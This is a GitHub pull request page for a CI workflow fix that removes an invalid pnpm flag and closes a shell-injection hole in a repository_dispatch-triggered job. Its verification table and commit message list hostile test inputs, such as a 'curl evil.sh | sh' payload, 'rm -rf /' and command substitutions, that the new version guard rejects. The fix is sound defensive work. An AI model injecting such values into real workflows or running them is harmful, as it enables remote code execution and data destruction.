Skip to content

ci(sdk-smoke): drop invalid pnpm add flag and stop splicing the dispatch payload into shell - #239

Open
dcccrypto wants to merge 1 commit into
mainfrom
fix/api-sdk-smoke-pnpm-add-flag
Open

ci(sdk-smoke): drop invalid pnpm add flag and stop splicing the dispatch payload into shell#239
dcccrypto wants to merge 1 commit into
mainfrom
fix/api-sdk-smoke-pnpm-add-flag

Conversation

@dcccrypto

Copy link
Copy Markdown
Owner

Two defects in the nightly SDK publish smoke. keeper fixed both in
dcccrypto/percolator-keeper#388; percolator-api never got the same treatment. Its nightly has
been failing on main — including this morning's run
(29813441828, exit 254).

1. Invalid pnpm add flag — the canary was blind

pnpm add "@percolatorct/sdk@..." \
  --no-frozen-lockfile          # install-only flag

pnpm 10 aborts with Unknown option: 'frozen-lockfile' (exit 254), so the job died at argument
parsing before running a single test.

This is worse than an ordinary red job. A genuine publish regression would have looked
identical to the flag bug — same red X, same exit code, no test output either way. The canary
was blind, not merely red.

2. Shell injection via the dispatch payload

run: |
  VERSION="${{ github.event.client_payload.version }}"

That value arrives from repository_dispatch (types: [sdk-published]), so it is externally
supplied — and it was interpolated into the script text itself, not passed as data. Same
class as #235.

Every externally-influenced value now travels through env: and is dereferenced as a shell
variable, and the resolved version is additionally constrained to [A-Za-z0-9.+-]+ before use.

Verification

The version guard discriminates:

input result
2.0.9, 2.0.5, 3.0.0, 1.0.0-beta.33, 1.0.0-beta.37 accepted
$(whoami) rejected
`id` rejected
"; curl evil.sh | sh; # rejected
2.0.9; rm -rf / rejected
2.0.9 && wget x rejected
`` (empty), a b rejected

actionlint clean, and no ${{ }} remains inside any run: block in this file.

What this does not do

It does not make the job pass. Once it can actually run, it will hit the same wall keeper
did: the smoke asserts a v17 ABI that was never published to npm — latest is 2.0.9, and
api pins 1.0.0-beta.33. See dcccrypto/percolator-keeper#389 for the full analysis.

This PR restores the signal. Publishing 3.0.0 (or gating these workflows) is a separate,
sdk-owned decision.

Companion: percolator-indexer#179 does the same for the indexer — I rebased it today to clear
an unrelated stale-branch audit failure.

CI note: build-and-test on this branch may fail with
ENOENT … /home/runner/work/percolator-sdk — that is the repo-wide #232 breakage that #233
fixes, unrelated to this change, which touches only .github/workflows/sdk-smoke.yml.

🤖 Generated with Claude Code

…patch payload into shell

Two defects in the nightly SDK publish smoke, both of which keeper fixed in
dcccrypto/percolator-keeper#388. percolator-api never got the same treatment.

1. `pnpm add` was passed `--no-frozen-lockfile`, which is an `install`-only
   flag. pnpm 10 aborts with `Unknown option: 'frozen-lockfile'` (exit 254),
   so the job died at argument parsing *before running a single test* — every
   scheduled run, including this morning's.

   This matters more than an ordinary red job: a genuine publish regression
   would have looked identical to the flag bug. The canary was blind, not
   merely red.

2. `${{ github.event.client_payload.version }}` was interpolated directly into
   a `run:` block. That value arrives from `repository_dispatch` and is
   therefore externally supplied, so it was spliced into the script text
   itself — a shell injection, the same class fixed in #235.

Every externally-influenced value now travels via `env:` and is dereferenced
as a shell variable, and the resolved version is additionally constrained to
`[A-Za-z0-9.+-]+` before use.

Verified the guard discriminates: 2.0.9 / 2.0.5 / 3.0.0 / 1.0.0-beta.33 /
1.0.0-beta.37 all accepted, while `$(whoami)`, backtick-id, `"; curl … | sh; #`,
`2.0.9; rm -rf /`, `2.0.9 && wget x`, empty and `a b` are all rejected.
actionlint clean; no `${{ }}` remains inside any `run:` block in this file.

Note: this does not make the job pass. Once it can actually run it will hit the
same wall as keeper — the smoke asserts a v17 ABI that was never published to
npm (see dcccrypto/percolator-keeper#389). This restores the signal; publishing
is a separate, sdk-owned decision.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
@vercel

vercel Bot commented Jul 21, 2026

Copy link
Copy Markdown

The latest updates on your projects. Learn more about Vercel for GitHub.

Project Deployment Actions Updated (UTC)
percolator-api Error Error Jul 21, 2026 8:55am

Request Review

@coderabbitai

coderabbitai Bot commented Jul 21, 2026

Copy link
Copy Markdown

Warning

Review limit reached

@dcccrypto, you've reached your PR review limit, so we couldn't start this review.

Next review available in: 31 seconds

Enable usage-based reviews in Billing to review now. Otherwise, wait until the next included review is available.
You're only billed for reviews past your plan's rate limits ($0.25/file).

How can I continue?

After more reviews become available, a review can be triggered using the @coderabbitai review command as a PR comment. Alternatively, push new commits to this PR.

To avoid repeated limits, reduce automatic review volume by pausing incremental auto-reviews earlier, using label-based review opt-in, excluding WIP or generated PR titles, or requesting reviews manually when the PR is ready. If your team needs uninterrupted high-volume reviews, an organization admin can enable usage-based reviews.

How do review limits work?

CodeRabbit enforces per-developer PR review limits for each organization. Most developers receive the normal plan review availability.

For paid Pro and Pro+ PR reviews, CodeRabbit uses adaptive limits for sustained high-volume activity. When a developer's recent PR review activity reaches the 95th percentile or higher among CodeRabbit users, additional reviews become available more gradually as earlier reviews age out of the rolling window.

Please refer docs for additional details.

Review details
⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Pro

Run ID: e52bfbbb-bd42-49ab-916b-3fa0ab1147a0

📥 Commits

Reviewing files that changed from the base of the PR and between b2751f4 and edc2550.

📒 Files selected for processing (1)
  • .github/workflows/sdk-smoke.yml
✨ Finishing Touches
🧪 Generate unit tests (beta)
  • Create PR with unit tests
  • Commit unit tests in branch fix/api-sdk-smoke-pnpm-add-flag

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant